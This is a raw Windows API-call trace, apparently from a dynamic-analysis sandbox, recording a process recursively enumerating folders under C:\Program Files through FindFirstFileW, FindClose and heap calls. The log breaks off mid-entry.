FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0065.654] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee29c0 [0065.763] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*", lpFindFileData=0x2cae778 | out: lpFindFileData=0x2cae778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2a00 [0065.764] FindClose (in: hFindFile=0x2ee2a00 | out: hFindFile=0x2ee2a00) returned 1 [0065.764] GetProcessHeap () returned 0x730000 [0065.764] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2f198f0 | out: hHeap=0x730000) returned 1 [0065.764] FindClose (in: hFindFile=0x2ee29c0 | out: hFindFile=0x2ee29c0) returned 1 [0065.764] GetProcessHeap () returned 0x730000 [0065.764] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2f088e0 | out: hHeap=0x730000) returned 1 [0065.764] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0065.764] GetProcessHeap () returned 0x730000 [0065.764] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0065.765] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0065.765] GetProcessHeap () returned 0x730000 [0065.765] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0065.766] FindClose (in: hFindFile=0x752278 | out: hFindFile=0x752278) returned 1 [0065.767] GetProcessHeap () returned 0x730000 [0065.767] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ec2898 | out: hHeap=0x730000) returned 1 [0065.767] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0065.768] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0065.768] GetProcessHeap () returned 0x730000 [0065.768] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ec2898 | out: hHeap=0x730000) returned 1 [0065.768] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\*", lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0065.768] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0066.185] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee29c0 [0066.186] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2a00 [0066.186] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", lpFindFileData=0x2cae778 | out: lpFindFileData=0x2cae778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2a40 [0066.186] FindClose (in: hFindFile=0x2ee2a40 | out: hFindFile=0x2ee2a40) returned 1 [0066.186] GetProcessHeap () returned 0x730000 [0066.186] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2f198f0 | out: hHeap=0x730000) returned 1 [0066.186] FindClose (in: hFindFile=0x2ee2a00 | out: hFindFile=0x2ee2a00) returned 1 [0066.187] GetProcessHeap () returned 0x730000 [0066.187] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2f088e0 | out: hHeap=0x730000) returned 1 [0066.187] FindClose (in: hFindFile=0x2ee29c0 | out: hFindFile=0x2ee29c0) returned 1 [0066.187] GetProcessHeap () returned 0x730000 [0066.187] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0066.187] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0066.187] GetProcessHeap () returned 0x730000 [0066.187] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0066.188] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0066.188] GetProcessHeap () returned 0x730000 [0066.188] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ec2898 | out: hHeap=0x730000) returned 1 [0066.188] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0066.191] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0066.193] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee29c0 [0066.193] FindClose (in: hFindFile=0x2ee29c0 | out: hFindFile=0x2ee29c0) returned 1 [0066.193] GetProcessHeap () returned 0x730000 [0066.193] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0066.193] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0066.193] GetProcessHeap () returned 0x730000 [0066.193] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0066.194] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0066.195] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0066.195] GetProcessHeap () returned 0x730000 [0066.195] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0066.196] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0066.199] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee29c0 [0066.227] FindClose (in: hFindFile=0x2ee29c0 | out: hFindFile=0x2ee29c0) returned 1 [0066.227] GetProcessHeap () returned 0x730000 [0066.227] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0066.227] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0066.227] GetProcessHeap () returned 0x730000 [0066.228] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0066.229] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0066.292] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee29c0 [0066.293] FindClose (in: hFindFile=0x2ee29c0 | out: hFindFile=0x2ee29c0) returned 1 [0066.293] GetProcessHeap () returned 0x730000 [0066.293] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0066.293] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0066.293] GetProcessHeap () returned 0x730000 [0066.293] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0066.294] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0066.307] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee29c0 [0066.319] FindClose (in: hFindFile=0x2ee29c0 | out: hFindFile=0x2ee29c0) returned 1 [0066.319] GetProcessHeap () returned 0x730000 [0066.319] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0066.319] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0066.319] GetProcessHeap () returned 0x730000 [0066.319] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0066.320] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0066.320] GetProcessHeap () returned 0x730000 [0066.320] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ec2898 | out: hHeap=0x730000) returned 1 [0066.321] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0066.321] GetProcessHeap () returned 0x730000 [0066.321] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ea1880 | out: hHeap=0x730000) returned 1 [0066.321] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdb2dec20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb2dec20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0066.321] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\*", lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0066.321] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0066.322] GetProcessHeap () returned 0x730000 [0066.322] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ec2898 | out: hHeap=0x730000) returned 1 [0066.322] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*", lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0066.323] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee29c0 [0066.329] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2a00 [0066.768] FindClose (in: hFindFile=0x2ee2a00 | out: hFindFile=0x2ee2a00) returned 1 [0066.769] GetProcessHeap () returned 0x730000 [0066.769] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0066.769] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2a00 [0068.860] FindClose (in: hFindFile=0x2ee2a00 | out: hFindFile=0x2ee2a00) returned 1 [0068.861] GetProcessHeap () returned 0x730000 [0068.861] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0068.861] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2a00 [0069.188] FindClose (in: hFindFile=0x2ee2a00 | out: hFindFile=0x2ee2a00) returned 1 [0069.189] GetProcessHeap () returned 0x730000 [0069.189] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0069.189] GetProcessHeap () returned 0x730000 [0069.189] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2ef78d0 [0069.189] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2a00 [0069.400] FindClose (in: hFindFile=0x2ee2a00 | out: hFindFile=0x2ee2a00) returned 1 [0069.401] GetProcessHeap () returned 0x730000 [0069.401] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0069.401] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2a00 [0069.806] FindClose (in: hFindFile=0x2ee2a00 | out: hFindFile=0x2ee2a00) returned 1 [0069.806] GetProcessHeap () returned 0x730000 [0069.807] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0069.807] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2a00 [0070.041] FindClose (in: hFindFile=0x2ee2a00 | out: hFindFile=0x2ee2a00) returned 1 [0070.042] GetProcessHeap () returned 0x730000 [0070.042] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0070.334] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2a00 [0070.498] FindClose (in: hFindFile=0x2ee2a00 | out: hFindFile=0x2ee2a00) returned 1 [0070.499] GetProcessHeap () returned 0x730000 [0070.499] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0070.499] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, 